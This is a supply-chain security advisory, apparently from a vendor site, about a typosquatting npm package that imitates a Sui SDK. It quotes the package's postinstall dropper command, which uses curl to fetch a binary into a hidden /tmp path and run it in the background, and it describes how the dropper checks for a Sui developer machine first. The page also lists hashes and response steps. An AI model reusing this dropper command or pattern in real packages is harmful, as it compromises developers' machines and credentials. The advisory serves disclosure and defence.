Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

bucket-protocol-sdk-v2npm

Malicious code in bucket-protocol-sdk-v2 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4502
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall bucket-protocol-sdk-v2

What this malware does

bucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (bucket.ts: export {};, index.ts: export * from './bucket';) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares "postinstall": "node install.js"; install.js checks whether the host is a Sui developer (presence of the sui binary or ~/.sui/sui_config/client.yaml) and then runs curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper & to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named implantUrl with the comment PUT YOUR ACTUAL 0x0.st URL HERE, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.

Malicious versions

7 flagged
1.0.111.0.121.0.181.0.191.0.221.0.231.0.26

Indicators of compromise (SHA-256)

1b25f4c8e7236236452ca049e0a8409ea8cea78d9ceb131daeea771d6365f61b
5bab9298f8bac43d26a48a14cb001113d1415a38e9dbe3d78c55a8ebba95e679
66a46f323763deecb5661ae7aa597ac73691211c718359914fef69c4322309ee
9612ba97a11244d132e6893004e23f8ba4999200709fc04dc4677a972de03155
b70afaf3f61c7ec2726720fb4c7b00256bed2cd2eb65dc165cfa0fef243ecb13
e19ff8a6cb5a08bd0561658d41dfe3616f1680bc5acac989c97da38f37ee41b4
f213ad1e13ca48fd037fbad78f53b85c280b913fac9cd88632c4ad02f1fa980d

Detection & response playbook

Typosquat
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for bucket-protocol-sdk-v2 (7 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging bucket-protocol-sdk-v2 across your stack and pipelines.

  2. If you installed it — respond

    bucket-protocol-sdk-v2 is a typosquat — you almost certainly intended a legitimately-named package. Remove bucket-protocol-sdk-v2, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If bucket-protocol-sdk-v2 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks bucket-protocol-sdk-v2 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. bucket-protocol-sdk-v2 on npm has been identified as a malicious package (versions 1.0.11, 1.0.12, 1.0.18, 1.0.19, 1.0.22, 1.0.23, 1.0.26 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003456IN-MAL-2026-003455IN-MAL-2026-003462IN-MAL-2026-003461IN-MAL-2026-003454IN-MAL-2026-003600IN-MAL-2026-003612

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks bucket-protocol-sdk-v2-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

bucket-protocol-sdk-v2 (npm) malicious package — MAL-2026-4502 | O3 Security